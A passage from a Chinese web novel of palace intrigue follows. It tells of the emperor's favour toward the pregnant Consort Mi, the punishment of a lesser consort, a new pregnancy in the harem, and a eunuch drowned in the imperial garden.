听徐美人与高采女如此颠倒黑白,欺负主子,月香气得红了眼睛,辛柳按住月香的手?,给她递了个眼色,没让她说话,自己重重地叩下身,“皇上,容奴婢分辨一句。” 李怀修眼中淡淡,点头准允。 辛柳便立即开口?,“美人主子与采女主子口?口?声声说贵嫔娘娘侍宠妄为,不如请采女主子再?说一遍,方才与徐美人是如何讥讽贵嫔娘娘的母家,又是如何冲撞贵嫔娘娘腹中的皇嗣?” “仅是高采女那句话,肆意侮辱皇嗣,何止入冷宫,便是赐酒自缢,都是理所当然!” 高采女脸色白了又白,她没想?到宓贵嫔奴才的耳力这么好,听去?了这么多! 她慌乱地请罪,“皇上饶命!嫔妾……嫔妾当真是无心之言啊!” “皇上饶了嫔妾吧!” 明?裳并不知晓高采女还说了这些,不过看高采女这副模样,确实是说过。她不动声色地敛去?心绪,辛柳沉稳,大抵是怕她孕中伤心,才没跟她说高采女还说过的嘲讽。 李怀修面色骤然冷了下来?,他平静地看向跪在地上的高采女,“无心之言?” 高采女忙磕下两首,苦求道:“是啊皇上,嫔妾当真是无心之过,求皇上饶了嫔妾吧!” 李怀修眼底冷如冰霜,“你既然觉得宓贵嫔无权责罚于你,倘若朕给她这分权力呢?” “传朕令,即日起,宓贵嫔要责罚六宫任何人都可以不必过问朕与皇后。” 全福海眼珠子都快瞪得下出来?,徐美人攥紧的双手?快爆出了青筋。 宫道上静得没人敢出半分动静。 李怀修再?也没看地上跪着?的高采女,寒声下令:“拖下去?!” 高采女惊声呼嚎,在场的人垂低脑袋,都忍不住心惊,没人敢去?看高采女的狼狈。 …… 李怀修还有?政事,安抚过怀中的女子,让伺候的宫人照顾好她,没再?继续停留。 圣驾离开,徐美人压住心跳,缓缓站起了身,两人目光相触,明?裳淡淡移开视线,抬步离开。徐美人再?次福低了身子,“嫔妾恭送贵嫔娘娘。” 待李怀修忙完政事,想?到今日遇见那女子,仍有?些头疼,已经不止一回,因?那女子的出身,即便她位居高位,怀着?皇嗣,下面的嫔妃也不曾对?她有?一分真切的恭敬。 诚然,李怀修纵容那人,便是知晓这女子的母家在前朝品阶不高,素来?循规蹈矩,宠着?她不必顾忌前朝,然今日,却让他不得不重新思考此事。 他知晓这女子圣恩愈厚,后宫的眼睛愈是都盯在她身上,于她而?言并非好事,但即便他曾优容于她,那些盯着?她的人也不会轻易放过,只会变本加厉。 李怀修只在操劳政事时会这般烦心,从没因?一个女子举棋不定。 他靠到椅背上,烦躁地捏了捏眉心,良久,开口?吩咐:“将?虞世行治水的奏疏取来?。” 全福海在旁候着?,见皇上沉眉思虑,也不知在心烦什么,大气也不敢喘,闻言这才赶忙应声,去?南书房取皇上要的书文。 …… 明?裳回了永和宫,大抵是累了,身子有?些不舒坦,下面的宫人立即去?太医院传了太医,月香问可是要去?请皇上,明?裳摇头没让她去?,今日那位没陪自己回来?,料想?前朝是有?要事,她此时再?让人去?御前,只会添乱,让那位心烦。 陈太医背着?药箱,几乎是被辛小五托着?,一路小跑到了永和宫。他也半分不敢耽搁,如今这后宫里,怕是皇后娘娘都不如这位贵嫔娘娘金贵。 他躬身请了脉象,确认确实无大碍,才落下心,道:“娘娘只是身子疲累,休息稍许便可无虞。” 内殿伺候的奴才听主子无事,才像这太医一样松口?气,依着?今日皇上的态度,主子倘若出了事,他们怕是也要小命不保。 送走陈太医,明?裳只留了辛柳与月香伺候,月香想?到今日高采女的下场只觉得痛快,她为主子轻轻揉捏着?双腿,“经此一事,看她们还敢不敢说主子的污糟话!” 明?裳脸色淡淡,没有?开口?。 高采女要攀附徐美人,就当真全心恭敬吗?这宫里没人不想?得圣心,怀上皇嗣。 入宫这么久,明?裳也愈发看得开了,进宫这条路,从没有?什么输家赢家,只要她在后宫一日,就要一日地争下去?。即便她不想?争,也会有?人逼着?她去?争。 主子近日能吃下东西,脸上就长了些肉,如今来?看,主子与初进宫时早已大不相同。 月香不由得又想?到柳大公?子,柳大公?子对?主子的疼爱绝不比皇上少,而?且柳大公?子府上也无姬妾,甚至主子入宫后,到现在还未成?婚。即便这些都不去?提,至少主子与柳大公?子成?婚后,不会像现在伺候圣驾这般战战兢兢。 可惜事与愿违,偏生那柳夫人嫌弃主子的家世,亲自登门侮辱主子私下与柳大公?子相见是不知廉耻,毫无闺中女子的自持。主子看似娇气,实则最是果决,才为此入宫,既做了决定,就不会回头。 提及旧事,月香不禁为主子心疼,生出惆怅之色。 …… 这日之事是出在坤宁宫问安后,皇后得知了高采女的下场,她讽笑着?摇了摇头,“一个个怎么还拎不清。” 文竹觉得皇上实在太过偏宠宓贵嫔,还下了那道圣令,试问这后宫中有?哪个嫔妃能让皇上如此破例。她以为实在不妥,宓贵嫔得如此权力,岂不是要逾越了娘娘! 她轻捶着?皇后的双肩,“娘娘,奴婢还是担心,宓贵嫔他日若是诞下皇子,再?去?求皇上,想?要那个位子,该如何是好。” 皇后眉眼低凉,神色漫不经心,“宓贵嫔最知分寸。” “那位在后宫宠着?她,可是你看前朝,虞家还不是受世家宗亲倾轧。” 她起了身子,文竹退后一步,跟着?娘娘慢慢走出内殿,皇后轻笑道:“本宫听父亲说,宓贵嫔的生父有?几分为官才能,可惜了,入京得晚,不懂这盘根错节,背后毫无倚仗。” “前朝后宫息息相关,但凡有?耳目的嫔妃,也都看得出,宓贵嫔只在后宫得宠,论起这出身,凡是高门入宫,谁又曾真正瞧得上。宗亲皇室,世家大族,虞家想?入京府,哪是那么容易。” “如此想?来?,宓贵嫔能这样得宠,也无可厚非。” 文竹低下头,“奴婢愚钝。” 皇后无声地抿起唇角,望向殿外的红墙砖瓦,她还有?些话未曾说出。 时也势也,想?想?当初的风光至极的杨家,如今不也做了丧家之犬,那位上位以来?,一步一步地将?权势握于手?中,要是想?打压,已是轻而?易举。这后宫的形势,随着?宓贵嫔受宠,也可见了那位对?前朝的态度。宫里的天,是要慢慢变了,她如今还无皇子,只倚仗姑母,又能走上多久,确实不得不为自己多些谋算。 第079章 第 79 章 这日?夜, 明裳拆了发?髻正准备睡下,绘如神色并不平静地进了内殿禀事,明裳才得知一个消息, 罗常在有孕了。 罗常在有身孕两?月余, 两?月未来月事,今日?才有所意?识, 立即传了太?医,诊出是喜脉,是在行宫就怀上了身子。 罗常在诊出有孕实在闹得突然, 她近来一段日?子就觉身子乏得紧,有时食不下咽,有时又极想吃酸的,她也没往那处想,今夜晚膳忽然胃口大开, 想吃酱肘子, 结果入夜腹中?作呕, 就开始吐个不停,实在受不住传了太?医,以为自己是吃坏了东西, 不料想竟是有身孕了。 罗常在又惊又喜, 没顾忌夜色,立即吩咐宫人到?御前通传皇上,她侍寝已久,迟迟没怀上皇嗣,原以为是身子不妥, 正寻思要不要好好调养,结果就得知自己有身孕了。 夜色尚早, 有嫔妃前去缈云坞看望罗常在,片刻后,圣驾也到?了缈云坞。 罗常在抚着肚子,面庞生出喜意?,她想到?皇上对宓贵嫔腹中?皇嗣的喜爱,望向坐在床榻边的男人,不禁也生出几?分期许。 “是嫔妾之?错,两?月都?未察觉到?身子有何不妥。” 李怀修问过太?医,确认罗常在腹中?皇嗣无事,淡声?道?:“无妨,日?后朕让郭太?医隔三日?过来给你请一次脉。” 他又吩咐伺候的宫人,“照顾好罗常在。” 李怀修没在停留多?久,就回了乾坤宫,罗常在有些失望,分明宓贵嫔有孕后,皇上十分宠爱,为何得知她怀了身子,她并没看出皇上有多?么惊喜,难不成这宫里?皇嗣多?了,便不那么令人惊喜了?罗常在此时万分后悔,为何没早注意?到?自己身子的不同。 待圣驾离开缈云坞,皇后留下安抚,见罗常在情绪低落,皇后道?:“你如今有了身子,若是想念家里?人,本宫去请皇上准允你母亲进宫探望。” 罗常在面上一喜,感激道?:“嫔妾多?谢皇后娘娘。” …… 乾坤宫 皇上这一日?心情都?不大好,即便罗常在有了身孕,全福海也没从皇上脸上看出多?少喜色。起因是皇上拨了宓贵嫔的父亲前去淮南查盐税一案,这事儿要办好了,回京升官嘉爵,唾手可得。却也因此,前朝旧臣不满,甚至借后宫宓贵嫔责罚高采女予以弹劾,说宓贵嫔是妖妃,不可留在后宫位居高位。 早朝上,皇上当即沉了脸色。 领头弹劾的官员,正是宋文进宋大人,他也隐约听说,宓贵嫔未入宫前,虞大人因支持新政,就遭宋氏一党几?番打压,甚至还入过两?回牢狱,彼时,皇上还未注意?到?虞大人,只是力压那些上书的奏折,命大理寺严审朱全安一案,宋氏一党不得不就此妥协,虞大人才得以出狱归府。 下了早朝,那宋大人还不知好歹,到?乾坤宫跪着要求见皇上,传话的小太?监进殿通禀后,皇上当即将那本奏疏砸下御案,“朕是太?让他们放肆了!上奏前朝也就罢了,朕的后宫也想插手!” “他愿意?跪就跪,不准任何人过去照看!” 全福海吓得心脏险些跳出嗓子眼儿,他赶紧给那个小太?监使个眼色,让他出去看着点儿宋大人。皇上嘴上这么说,可宋大人三朝元老,在乾坤宫出了事,传出去只怕有损皇上贤德的名声?。 到?半个时辰后,有大臣觐见,才好说歹说把?宋大人劝出了宫,全福海也能?松了口气。 此时,已是深夜,全福海瞄了眼漏刻,在想如何劝皇上注意?身子,早些安置。 低眼就见皇上正抚着拇指的玉戒,戒指,戒止,既是帝王之?权,也寓约束己身。全福海不敢揣测皇上此时在想些什么。 他低下头,耳边忽听皇上问他,“朕现在想想,是不是太?过纵容那女子了。” 那女子是谁,全福海不必多?想,也知晓是宓贵嫔。除了宓贵嫔,后宫有哪位主子能?皇上又喜又气,整日?记挂着。 若说纵容,全福海都?觉得轻了,依着现在皇上对宓贵嫔的宠爱,已是宠得没边。便说前几?日?宓贵嫔直接责打了高采女,皇上问也不问缘由,先是关心宓贵嫔的身子,不知宓贵嫔要是诞下皇子,皇上会有多?喜爱,怕是就连这个位子,都?唾手可得。 全福海呼吸轻了轻,他装作糊涂,“奴才愚钝,不知皇上说的人是谁?” 李怀修不耐烦地掀了他一眼,全福海麻溜垂低了脑袋,他打好腹稿,忙回道?:“奴才斗胆,皇上说的人若是六宫的主子娘娘们,奴才以为,如今后宫两?位主子有孕,有两?位公主不说,张嫔娘娘又诞下皇子,正是兴盛之?象,宽容些也是不妨事,太?后娘娘得知,必然也喜悦万分。” 殿内静了一瞬,即便全福海伺候皇上这么久,也摸不透自己这番回话,皇上可是满意?。他没有刻意?去提宓贵嫔,若他提了,连他都?看得出,皇上待宓贵嫔格外宠眷,怕是皇上不仅不会高兴,还因他妄测圣意?,而让皇上不喜。 他只提醒了皇上,宓贵嫔怀着身子,纵容些理所应当。宓贵嫔帮他多回,他不是不知恩的人,记得宓贵嫔这分恩情,也愿意帮宓贵嫔说些好话。 李怀修起了身,指骨点着御案,多?看他两?眼,“你倒是会说话。” 全福海心底一惊,扑通跪倒地上,“奴才不敢。” 李怀修没再说什么,“传人伺候安置。” 全福海额头冷汗止住,松了口气,知皇上是对他的答话满意了。 宫人轻声?服侍,李怀修进了内殿,一眼见到?床案旁放置的一对儿耳铛,那日?那女子说丢在他这儿,后来宫人清扫寻到?,她也没带回去,还说放在他寝殿里?,让他日?日?念着。 李怀修拿起,指腹摩挲了两?下,不禁想到?那人赖在自己怀里?闹腾的模样,又有些头疼,也就她敢这样跟他胡闹。 她怀着他的孩子,那样辛苦,多?纵容些,确实也无妨。如今他权柄已渐渐收归手中?,那些老顽固愿意?蹦哒,也蹦哒不了多?久。 …… 前段日?子景和公主着了凉,夜中?有时哭闹,李怀修不得空去看,这夜有了闲暇,便点了贤妃的名册。 至夜,圣驾到?了景平宫。 贤妃坐在妆镜前思量稍许,让宫人将自己鬓间的珠花拆了,换上颇为端庄的金累丝双喜步摇。 梳理好了妆容,贤妃吩咐乳母将景和公主抱进内殿,照顾好了,带着景平宫的宫人前去接迎圣驾。 銮仗穿行过红墙甬道?,全福海低垂着头,恭恭敬敬地在外头跟着。 眼见到?了景平宫,贤妃携宫人迎驾,李怀修脸色如常,道?了句免礼,又问景和身子可好些了。 贤妃一一答话,“景和身子弱,入秋后尚不适应,臣妾让乳母抱到?内殿,臣妾日?日?照顾着,已是好了许多?。” 入了内殿,贤妃摆上茶水,乳母抱着景和公主走到?圣前。夜色已深,小公主不知大人间的事,早甜甜地睡了过去。李怀修看了看女儿,动作放轻,没将她吵醒,抬手让乳母抱下去,好生照看。 李怀修抿了口茶水,“景和年?幼,辛苦你了。” 贤妃笑道?:“景和乖巧可人,给臣妾带了不少乐子,臣妾不觉辛苦。” 言罢,她又取出六宫的账册拿给男人去看,“后宫因又进了三位妹妹,皇后娘娘与臣妾思量再三,将三位妹妹住的宫所修缮了些许,徐美人住的谨兰苑添了两?方嵌瓷插屏,又将内殿做了蜀锦松绣的帐褥,故而流水多?了五百两?,罗常在与白答应的宫所因不缺用度,两?人用了五百二?十两?。” 贤妃提此,眼眸顿了下,又温声?道?:“本该是皇后娘娘禀与皇上这些,但罗常在有孕,皇后娘娘照料缈云坞分身乏术,这些琐事便交给臣妾了。” 账册翻过两?页,除却新进宫的三人,其?余六宫嫔妃的用度都?还尚可,李怀修虽不常临幸后宫这些人,但也不曾亏待了她们。他点点头,“皇后有你帮衬着,朕也放心。” 得皇上这一句夸赞,贤妃面庞柔和下来,“臣妾能?为皇后娘娘分忧,是臣妾的福分。” 她将煮好的茶水捧到?圣前,又提起一件事,“徐美人婉顺成性,蕙质兰心,皇后娘娘与臣妾都?觉徐美人性子稳重妥善,只是后宫里?有为答应妹妹也是徐姓,两?人日?日?对面,总有不妥。皇后娘娘与臣妾都?想,皇上可否为徐美人拟一个封号,日?后在宫里?也好与答应妹妹有所分辨。” 嫔妃同姓这事儿,在宫里?算不得大事,六宫中?也会有人出身同一世家,是否能?请封,全看皇上的意?思。贤妃将这茬扯到?皇后身上,也是免得皇上以为她多?管闲事,她也不是没事儿闲的为徐美人请封号,谁叫近些日?子后宫情势不明,她也想借此机会,看看皇上的意?思。 李怀修掀起眼皮,淡淡扫了她一瞬,贤妃心神一紧,攥着指尖,飞快垂下眼睫。 殿内寂静无声?,案上的茶水氤氲着热气,已过了七分的烫热。 给徐美人请封,这事儿说大不大,说小不小,徐美人初进宫中?便是美人位份,倘若未有皇嗣,再册下封号,资历不够,未免不合规矩。贤妃却没想那么多?,论起不合规矩,后宫里?谁又能?比得过宓贵嫔,后宫从未有人能?得皇上那道?旨意?,不必过问皇后,就可处置六宫嫔妃。 不论贤妃如何做想,此时都?不敢出声?,皇上一手提 她上来,可不是为了让她与皇上的宠妃作对,贤妃清楚自己的用处,她是皇上用来警醒皇后的一枚棋子。皇后再有错处,也是皇上的发?妻,中?宫皇后,轻易废弃不得。 贤妃屏住了呼吸,等着皇上开口。 李怀修把?玩着拇指的玉戒,沉吟稍许,“徐美人温良恭顺,赐下封号也是无妨。” “你以为,用何封号为好?” 皇上竟将册封给徐美人的封号交给自己择选?贤妃一时摸不清,皇上待徐美人,究竟有几?分宠幸。倘若是钟意?徐美人,为何不亲自择选封号,当年?的瑜贵嫔,如今的宓贵嫔,都?是皇上亲自赐下,倘若皇上不喜徐美人,可又答应给徐美人赐封。 贤妃实在不解,她眼底划过一抹疑色,斟酌开口,“六宫嫔妃册封,内务府都?会挑出几?个吉利的字,臣妾闲时也翻过内务府册封嫔妃的封号,觉得静、柔、舒、宜,四字,都?与徐美人极为相适。” 她确也并非称谎,这四个字,是那日?在皇后宫中?看到?的,皇后本就有意?为徐美人请封,她也不过顺水推舟,卖的是徐美人的人情。 李怀修考量着这四个字,最终定了舒字。这夜,六宫只知圣驾去了景平宫,却不知晓,徐美人竟因此,轻易便得了封号。 贤妃眉眼含笑,恭敬地屈身,“臣妾先替徐妹妹谢恩,谢皇上册封。” 她想了想,又开口道?:“如今罗常在有了身孕,皇上可要一同为罗常在升上品阶?” 李怀修唇线微抿,面容寡淡,黑眸如墨,叫人猜不出此时所想。贤妃噤下声?,她侍奉君侧,早已习惯这位的冷淡凉薄,即便是夜中?侍寝之?时,她也有所察觉出,这位并不钟情于这事。若非为皇室子嗣,她甚至怀疑皇上根本不会召幸六宫的嫔妃。 她以前只以为皇上是对自己如何,后来偶然从自己安排在别宫的眼线得知,皇上当真是从不偏颇,待六宫嫔妃皆是这般。 稍许,她听皇上淡淡道?:“此事待她生产,再行商议。” 贤妃恭敬地应下。 净室备了热水,宫人伺候主子沐浴,贤妃从净室内出来,坐到?妆镜前篦发?,她从妆镜中?看去,那位着明黄的金丝盘龙衾衣,此时正倚着引枕,半坐在床榻边,翻看她案头放着的对册。她深知这位有多?勤勉于朝政,无事便要看些公文折子,若召嫔妃侍寝,也会习惯看一些六宫对簿。 贤妃自然是有意?将自己在后宫处理的一些事放在床榻边,便是有意?让那位去看,那位也知她是故意?为之?。贤妃倒没什么好心虚的,她是为皇上做事,她做的这些事,也本是为皇上所做。皇上知道?,也会念着她几?分情分。 贤妃拭干了头发?,敛衣走到?床榻边,无意?想起一件事,遂说道?:“昨儿臣妾在御花园偶遇了张嫔与宓贵嫔,臣妾竟不知宓贵嫔心思玲珑,打出的络子比之?内务府的绣娘都?不遑多?让,送给小皇子的祈福络子,臣妾见了都?喜爱,没忍住跟宓贵嫔又讨要一个呢!” 李怀修眼光低垂,随意?问向贤妃,“你与宓贵嫔讨要,她可应下了?” 贤妃本是想起这件趣事,随口说给皇上听,她心知宓贵嫔颇得这位宠爱,在这位面前表现自己与他的宠妃和睦,总归不是什么错事,她只是没料想到?,皇上会多?问这一句。 贤妃倒不知这位想听什么,如实道?:“皇上也知宓贵嫔性子极好,臣妾只是与宓贵嫔逗趣,宓贵嫔倒记在心里?当了真,说明儿个就能?编织完,给臣妾送来。又说既给了臣妾,也不能?没了皇后娘娘的份儿,又记挂着宝珠公主,算来算去,不知多?做了多?少。” “臣妾念着宓贵嫔有孕,不想让她多?操劳,宓贵嫔却说闲着也是无事,倒想找些事做。宓贵嫔这般有趣,臣妾也觉得讨人喜欢。” 贤妃掩唇轻笑,眼眸却一直在看男人的脸色,见皇上始终清冷,不见半分笑意?,她心口一惊,忙收了话音,不敢在多?言,这时才有所察觉,皇上的情绪,似有不对。 李怀修捻着扳指,轻笑两?声?,那笑意?让贤妃辨不出什么意?思,贤妃试探一回,不敢再继续多?言,她微拧起眉梢,仍旧不解,皇上为何有这番态度。难不成是不喜,她与宓贵嫔走得太?近? …… 翌日?圣旨下来,赐徐美人封号为舒,圣旨一下,不止是六宫诧异,徐美人也颇为不解,皇上怎会忽然给她赐了封号。 她唇中?咬着这个“舒”字,却不知皇上赐她这个封号,是有何意?。 贤妃请安后回了景平宫,打探消息的宫人正在廊下等着主子,贤妃掠她一眼,让旁人退下去,独指了她进殿伺候。 六宫嫔妃斗得再厉害,也只是在后宫中?勾心斗角,没人敢将手伸到?御前。皇上忙于朝政,后宫事务交由皇后主持,若非事关皇嗣,皇上从不会留意?去管。自然,倘若有人敢探听御前的消息,也不必留在后宫了。这也是为何,没人敢去御前打探,因为敢探乾坤宫口风的嫔妃,早已不知何时,消失在了后宫里?。 贤妃揣测不出皇上的心思,待三日?后,她接到?家书,得知前朝竟有朝臣弹劾宓贵嫔,心中?诧异一番,她燃了蜡烛,将信烧了。贤妃如何都?没想到?,这种弹劾之?事在先帝时平平无常,居然也会发?生在当今的朝廷。 …… 头三个月过去,明裳胎象逐渐安稳,李怀修在永和宫安排好了生产的一众嬷嬷,那嬷嬷伺候过张嫔生产,人也可靠,她见明裳身子愈发?丰腴,反复叮嘱要多?走动,切记胎儿养得太?大,不好生产。 张嫔生产过,得空就来陪陪明裳,与她说些孕中?之?事。 天有些冷了,两?人在御花园走了一会儿,正要回去,张嫔抬眸,忽然发?现什么,拧紧眉,盯住多?看了两?眼,明裳见她脸色有异,正要去问,张嫔似是无意?挡住了她的视线,面色如常,“原是一只野猫,我还以为是什么有趣的。” 明裳有些怀疑,见她不愿多?说,就没去问。她回了永和宫,觉得不对劲儿,遣了月香出去打听。 那厢明裳离开后,张嫔脸色倏然就变了,她扶着水琳的手,点一个小太?监过去看。那小太?监得了吩咐,过去看上一眼,人吓得差点掉到?水里?。揽月湖漂过来的,分明是一个死人。 张嫔没去处置,有条不紊地吩咐,不准任何人接近,留两?人在此地看着,自己则亲自去坤宁宫禀告皇后。 她近来长与宓贵嫔在此地,宓贵嫔怀着身孕受不得惊吓,她不得不多?心。 …… 后午,明裳才得知御花园发?生了什么,月香怕吓得明裳,说得很?是委婉,死的是一个小太?监,仵作说是溺死的,具体原因皇后娘娘还在让人去查。 明裳抚着心口,幸而那时张姐姐在,她现在得知,仍觉得毛骨悚然,日?后还是少出去走动为好。她眼底闪过一抹冷色,不知那桩事可是冲着她来的,怎会那般巧合。 至夜,圣驾到?了永和宫。明裳带着宫人出去迎驾,李怀修见到?那女子好好地站着,才放下心弦,过去扶起明裳,“吓着了么?” 明裳委屈巴巴地点了点头,“幸好有张姐姐,没让嫔妾看到?,不然嫔妾和孩子怕是都?要吓坏了。” 那张小脸挂着泪珠,很?是让人生怜。 李怀修将她揽入怀里?安抚,“这几?日?朕陪你,不用怕。” 皇上与宓贵嫔入了殿,宫人跟随伺候,大抵是真的有些怕,明裳原本半真半假,现在化作七分真,三分假,进了殿还在哭。 李怀修怕她哭坏了身子,引了别的事哄她。但因他想不出什么有趣的事,便说了那些前朝那些朝臣争斗荒唐的弹劾折子,什么顺天府府尹长子不是亲生的,东阁大学士长孙与庶母干系不清不楚,国子监有学生放狗咬国子监祭酒,两?人因此还打到?朝堂上…… 明裳听着听着,噗嗤笑了出来,在他怀中?,眉眼弯弯,“皇上还喜欢听这些艳闻?” “什么叫朕喜欢!”李怀修捏了把?她的小脸,脸色不好,“朕不想听,他们非要拿这些鸡毛蒜皮的事烦朕,冠冕堂皇家风不正,请朕处置。” 要不是为哄这女子,他怎会说这些。 还不止如此,怀州结了果子,那总督都?要写信问他喜不喜欢吃,要不要入宫进贡,还说又种了多?少菜,甚是新鲜,家里?夫人生了几?个孩子此类云云。十页密信,废话连篇,正因此人聒噪才被他调去怀州,经年?过去,性子还是如此,念及尚可得用,李怀修生生忍下,只是每次收到?淮南的一摞子密信,又要看他孩子长高了多?少,夫人胖了多?少,一想想就忍不住头疼。 两?人说了会儿话,明裳情绪平复许多?,李怀修忽然想起一件事,摸着怀里?女子隆起的肚子,眼眸眯了眯,“朕前些日?子去贤妃那儿,听说你打了祈福的络子送给了温儿,又要去送皇后与贤妃。” 男人语气不好,明裳以为这位是担心累着她身子,忙道?:“嫔妾闲来无事,解解闷子,皇上放心,嫔妾有分寸,不会累到?孩子的。” 她又软声?解释,“那些络子都?交给了太?医检查,嫔妾送给后宫的皇子公主,也是为了腹中?的孩子祈福。” 李怀修相信这女子有分寸,知道?轻重,只是旁人都?知到?御前亲自给他做些什么,这女子倒半分不将他放在心上。 念此,李怀修仍是黑了脸。 第080章 第 80 章 “大表哥, 你给我做先生留的课业吧。” “通识文史,是以?明礼,我能替你做一回两回, 总不能照看你一辈子?。” “为什?么不能?大表哥不是说要娶我吗?。” 星月流光下, 女?子?面庞张扬明媚,单手托腮, 眉眼弯弯地望着面前她唤了十余年的大表哥。 男子?耳根生出隐约不可见的红意,他抬手揉了揉女?子?的发顶,似有无?奈, “你惯会这样。” 他认真问道:“湘湘当真愿意嫁我?” 女?子?眼眸如月,笑得那样好看,“这世上我只愿意嫁给大表哥。” 那男子?克制住了将少女?搂入怀中的念头,只是红了耳根温声,“过几日我去与母亲说, 待你及笄, 等我来虞府提亲。” …… “贵府姑娘年岁也不小了, 敢问是请的那位先生教的闺阁教养,尚且待字闺中,就与外男私相授受, 毫无?廉耻之心!” 妇人面容刻薄, “我早已为我儿定好婚约,请贵府姑娘死了这份儿心,贵府的家世也配不上我柳家门楣!没有我点头,贵府姑娘就是为妾,我也断然不会同意这桩婚事!” …… 天边泛出一丝白意, 到了时辰,李怀修睁开眼, 准备起身?更衣上朝,那女?子?还依在他怀中,他要抽出手臂时,见那女?子?额头沁汗,红唇嗫嚅,似在呢喃什?么。他拧起眉,碰了下这女?子?的脸蛋,再要去听,却见她倏然睁开了眸子?,一眨不眨地看着他,又好似不在看他。 床幔映着男女?坐起的影子?,明裳呼吸不平,紧紧攥着丝帛的衾被?,眼眸望着眼前丰俊端肃的男人,微微失神,分不清这是梦境还是现实。 李怀修终于意识到了不对,他伸手去抚女?子?的后?背,男子?触碰的瞬间,明裳的身?子?有一瞬的僵硬,男人有所察觉,眉峰拧得越紧,“梦魇了?” 说话之间,明裳终于松开了不断攥着衾被?的指尖儿,没有立即答话,而是红着眼扑到男人怀里,她哽咽着,泪水越流越多,沾湿了男人的前襟。 女?子?颤着身?子?,柔弱可怜,“嫔妾好怕……” 她没说怕什?么,大抵是昨日御花园见到的情形,在这女?子?心里留下了影子?。 李怀修耐心地抚了抚女?子?的后?背,“别怕,这几日朕陪着你。” 眼见快到上朝的时辰,寝殿还没传人伺候的动静,全福海等得不禁心焦。几番想?进?去请示,又被?他生生忍住了。等他终于坐不住时,内殿终于传了宫人侍奉。 李怀修登上銮舆,他靠着椅背,不徐不疾地摩挲了两下拇指的白玉扳指,寝殿里,他只隐约听到那女?子?口中含糊的几个字,并不分明,然帝王敏锐的直觉让他觉得那女?子?是有事欺瞒于他。 或许是她家中事。 李怀修揉了揉太阳穴,他如今已有心重?用虞世行,那女?子?过些日子?就会知晓,他敛了心思,没再深想?下去。 …… 永和宫 圣驾离开,明裳让人到坤宁宫告假,因早上那场梦,今日她实在没那个心力再去坤宁宫问安,应付后?宫盯在她身?上的眼睛。 月香见主子?眼眶红肿,面容憔悴,吓了一跳,忙过去扶主子?坐去窄榻,“皇上出殿时吩咐奴婢们到太医院请陈太医看诊,照看好主子?,主子?这又是怎么了?” 幸而昨夜御花园中遇到的事,让明裳有了遮掩的由头,她只道是梦魇。月香不疑有他,因着昨日,她想?想?就不适,也做了一夜的噩梦,主子?又怀着身?子?,定然更是不舒坦。 陈太医到永和宫看诊,诊了明裳的脉象,只说是受到惊吓,又思虑过重?,才致使梦魇不断。心病还须心药医,还要请娘娘解开心结。 送走?陈太医,宫人煎好汤药,明裳吃了药后?,身?子?乏累,回了床榻歇息。 月香带着宫人轻手轻脚地合了殿门。 床榻里,明裳合着眼,侧身?躺着,望向窗外透进?的白光,神色有些恍惚。 她从没梦过那人。 虞家与柳家是有沾亲带故,她幼时跟随父母入京,初入京城,母亲带她见了柳家三房的姑奶奶,她唤一声姨母。实在是八竿子?打不着的亲戚,也是在那时,她遇见了柳絮白。 柳家是上京名?门,柳絮白是柳家嫡系一脉的长孙,合府上下期望甚高。但柳絮白不愿受祖上荫蔽,弃了爵位,一意孤行苦读科举。 少男少女?,相处久了,总会生出不同的情愫。 明裳并不否认,那时她很喜欢大表哥。可事与愿违,父母疼宠着她,不愿让她看见外面的艰辛,有一回父亲数日不在家中,她问母亲父亲为什?么这么久不在府里,母亲说父亲是出京当差,为皇上办事。 后?来她才知晓,父亲是得罪了当朝太傅宋文进,进?了牢狱。爹娘不让她知道,她便装作不知道,她有时会怀念在宿州的日子?,不明白爹爹为什么非要入京不可,直至现在,她或许懂了,爹爹以?当今为尊,认为那位是可侍奉的明君,才要为君为国?,不惜舍了自己。她才有了心思,为了爹爹,她不想?再让爹爹受苦,她要入宫。 后?来,她再也没见过柳絮白。 她不知道柳絮白是否知晓他母亲曾来过虞府,也不知道柳夫人说的婚事为何这么久还没有结果。后?来柳絮白几番登门入府,都?被?母亲拦在了外面,她入宫的前一夜,东院的墙外响起她熟悉的箫声。 她知晓是谁, 那晚,箫声响了一夜。 她没有出去。 她知道自己既选择了这条路,就无?法回头,也不能回头。 …… 明裳不知不觉睡了一觉,清醒时精神已经好了许多。 晌午吩咐小厨房做了蹄花汤,这时她得知昨夜御花园的事查出了些许眉目。 这事居然与罗常在有关。 查明真相的证据是一只玉镯。 死的那个小太监名?叫春草,是内务府新进?的宫人,原本那日是要去冷宫送午膳,无?意经过御花园,遇见了同在内务府的小桂子?。 他初到内务府,就是小桂子?多次刁难他,甚至给他吃馊了的饭菜,春草本是想?看小桂子?偷偷摸摸做些什?么,结果却瞧见小桂子?竟然是在与宫里的宫女?光\天\化\日之下做对食,春草目瞪口呆,以?为拿捏住了小桂子?的把柄,要借此威胁小桂子?索要银钱,小桂子?一方面答应,却在春草要离开时,将人按到湖里,活活溺死了。而与小桂子?对食的宫女?,正是伺候罗常在的宫人松叶。 明裳颇为意外。 缈云坞 罗常在得知真相与自己有关,赶忙撇开干系,“皇后?娘娘相信嫔妾,嫔妾只是时常让松叶与嫔妾下棋,当真不知松叶私下做这种有违宫规之事啊!” 她神色不禁慌张,此事可大可小,可牵涉到宓贵嫔,经前些日子?皇上对高采女?的处置,让她忍不住要撇清自己,皇上可要不能误以?为是她要针对宓贵嫔。 皇后?蹲身?扶起她,坐回床榻里,“本宫已经禀明皇上,此事确实与你无?关,你可放心。” 得皇后?娘娘保证,罗常在终于松了口气,经此一事,她愈发觉出皇后?娘娘的宽和,从前她竟不曾察觉,她眼神真切,“嫔妾感?谢皇后?娘娘相信嫔妾。” 皇后?拿着帕子?温和擦了擦她额头吓出的冷汗,又见缈云坞伺候的人实在是少,便道:“你如今怀了身?子?,身?边总要多几个伺候的人,虽是常在位分,因有身?孕,多拨几个人伺候,也是情理之中,旁人不会多说什?么。” “宓贵嫔宫里有几个接生的嬷嬷,你这宫里也不能少,待本宫禀明了皇上,选几个可靠的送到缈云坞。” 罗常在也觉得自己身?边伺候的宫人实在少,如今又没了一个松叶,她更是没有人用,见皇后?娘娘这般为她着想?,罗常在感?激得不知如何是好。想?着皇后?娘娘膝下没有皇子?,倘若她腹中诞下的是个皇子?,日后?孩子?生下来,她定要让孩子?亲近皇后?娘娘几分。 折腾大半日,皇后?离开缈云坞,上了仪仗,面容立刻就淡了下来。她漫不经心地抚着镂金的护甲,鬓间凤羽珠钗的大红宝石映着女?子?的眉眼,泛出一丝冰冷。 …… 乾坤宫 